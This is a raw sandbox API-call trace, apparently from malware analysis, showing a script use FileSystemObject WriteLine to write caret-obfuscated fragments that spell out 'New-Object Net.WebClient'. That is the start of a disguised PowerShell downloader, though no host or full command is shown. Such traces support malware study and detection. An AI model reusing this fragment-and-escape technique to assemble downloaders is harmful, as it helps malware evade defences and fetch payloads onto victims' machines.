pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.574] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762da8, pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.574] malloc (_Size=0x8) returned 0x249c884edb0 [0148.574] malloc (_Size=0xe) returned 0x249ca447650 [0148.574] _snwprintf_s (in: _DstBuf=0x249ca447650, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"(Ne^\"") returned 6 [0148.574] malloc (_Size=0x48) returned 0x249ca443560 [0148.574] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.574] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"(Ne^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"(Ne^\"") returned 0x0 [0148.574] wcscat_s (in: _Destination="ITextStream.WriteLine(\"(Ne^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"(Ne^\");\r\n") returned 0x0 [0148.574] wcsncpy_s (in: _Destination=0x249ca4d57c0, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"(Ne^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"(Ne^\");\r\n") returned 0x0 [0148.574] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.574] free (_Block=0x249ca447650) [0148.574] free (_Block=0x249c884edb0) [0148.574] free (_Block=0x249ca443560) [0148.575] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bc18*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="(Ne^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bc18*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="(Ne^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.575] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.575] SysReleaseString () returned 0x1 [0148.575] CoTaskMemFree (pv=0x249c87614f0) [0148.575] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.575] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.575] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.575] SysAddRefString () returned 0x0 [0148.575] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.575] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.576] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.576] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762da8, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.576] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762568, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.576] malloc (_Size=0x8) returned 0x249c884ee20 [0148.576] malloc (_Size=0x14) returned 0x249ca4476d0 [0148.576] _snwprintf_s (in: _DstBuf=0x249ca4476d0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"w-Obje^\"") returned 9 [0148.576] malloc (_Size=0x4e) returned 0x249c884a540 [0148.576] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.576] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"w-Obje^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"w-Obje^\"") returned 0x0 [0148.576] wcscat_s (in: _Destination="ITextStream.WriteLine(\"w-Obje^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"w-Obje^\");\r\n") returned 0x0 [0148.576] wcsncpy_s (in: _Destination=0x249ca4d5802, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"w-Obje^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"w-Obje^\");\r\n") returned 0x0 [0148.576] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.576] free (_Block=0x249ca4476d0) [0148.576] free (_Block=0x249c884ee20) [0148.576] free (_Block=0x249c884a540) [0148.577] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bc60*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="w-Obje^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bc60*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="w-Obje^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.577] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.577] SysReleaseString () returned 0x1 [0148.577] CoTaskMemFree (pv=0x249c87616d0) [0148.577] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.577] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.577] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.577] SysAddRefString () returned 0x0 [0148.577] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.577] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.578] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.578] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762568, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.578] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762328, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.578] malloc (_Size=0x8) returned 0x249c884edf0 [0148.578] malloc (_Size=0x12) returned 0x249ca447690 [0148.578] _snwprintf_s (in: _DstBuf=0x249ca447690, _DstSizeInWords=0x9, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"ct Ne^\"") returned 8 [0148.578] malloc (_Size=0x4c) returned 0x249c884a540 [0148.578] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x26, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.578] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x26, _Source="\"ct Ne^\"", _MaxCount=0x8 | out: _Destination="ITextStream.WriteLine(\"ct Ne^\"") returned 0x0 [0148.578] wcscat_s (in: _Destination="ITextStream.WriteLine(\"ct Ne^\"", _SizeInWords=0x26, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"ct Ne^\");\r\n") returned 0x0 [0148.578] wcsncpy_s (in: _Destination=0x249ca4d584a, _SizeInWords=0x23, _Source="ITextStream.WriteLine(\"ct Ne^\");\r\n", _MaxCount=0x22 | out: _Destination="ITextStream.WriteLine(\"ct Ne^\");\r\n") returned 0x0 [0148.578] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.578] free (_Block=0x249ca447690) [0148.578] free (_Block=0x249c884edf0) [0148.578] free (_Block=0x249c884a540) [0148.578] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bca8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ct Ne^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bca8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ct Ne^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.579] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.579] SysReleaseString () returned 0x1 [0148.579] CoTaskMemFree (pv=0x249c87616d0) [0148.579] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.579] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.579] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.579] SysAddRefString () returned 0x0 [0148.579] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.579] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.579] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.580] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762328, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.580] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762628, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.580] malloc (_Size=0x8) returned 0x249c884eda0 [0148.580] malloc (_Size=0x10) returned 0x249ca447850 [0148.580] _snwprintf_s (in: _DstBuf=0x249ca447850, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"t.We^\"") returned 7 [0148.580] malloc (_Size=0x4a) returned 0x249c884a540 [0148.580] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.580] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"t.We^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"t.We^\"") returned 0x0 [0148.580] wcscat_s (in: _Destination="ITextStream.WriteLine(\"t.We^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"t.We^\");\r\n") returned 0x0 [0148.580] wcsncpy_s (in: _Destination=0x249ca4d5890, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"t.We^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"t.We^\");\r\n") returned 0x0 [0148.580] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.580] free (_Block=0x249ca447850) [0148.580] free (_Block=0x249c884eda0) [0148.580] free (_Block=0x249c884a540) [0148.580] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bcf0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="t.We^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bcf0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="t.We^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.581] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.581] SysReleaseString () returned 0x1 [0148.581] CoTaskMemFree (pv=0x249c87614f0) [0148.581] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.581] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.581] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.581] SysAddRefString () returned 0x0 [0148.581] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.581] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.581] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.581] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762628, pBstrHelpFile=0x249c8758f60*="颰졵ɉ") returned 0x0 [0148.581] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762688, pBstrHelpFile=0x249c8758f60*="颰졵ɉ") returned 0x0 [0148.582] malloc (_Size=0x8) returned 0x249c884ee00 [0148.582] malloc (_Size=0x10) returned 0x249ca447650 [0148.582] _snwprintf_s (in: _DstBuf=0x249ca447650, _DstSizeInWords=0x8, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"bCli^\"") returned 7 [0148.582] malloc (_Size=0x4a) returned 0x249c884a540 [0148.582] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x25, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.582] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x25, _Source="\"bCli^\"", _MaxCount=0x7 | out: _Destination="ITextStream.WriteLine(\"bCli^\"") returned 0x0 [0148.582] wcscat_s (in: _Destination="ITextStream.WriteLine(\"bCli^\"", _SizeInWords=0x25, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"bCli^\");\r\n") returned 0x0 [0148.582] wcsncpy_s (in: _Destination=0x249ca4d58d4, _SizeInWords=0x22, _Source="ITextStream.WriteLine(\"bCli^\");\r\n", _MaxCount=0x21 | out: _Destination="ITextStream.WriteLine(\"bCli^\");\r\n") returned 0x0 [0148.582] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.582] free (_Block=0x249ca447650) [0148.582] free (_Block=0x249c884ee00) [0148.582] free (_Block=0x249c884a540) [0148.582] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bd38*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="bCli^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bd38*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="bCli^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.582] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.582] SysReleaseString () returned 0x1 [0148.582] CoTaskMemFree (pv=0x249c8761b80) [0148.582] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.582] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.583] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.583] SysAddRefString () returned 0x0 [0148.583] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.583] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.583] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.583] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762688, pBstrHelpFile=0x249c8758f60*="ꁰ졵ɉ") returned 0x0 [0148.583] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: 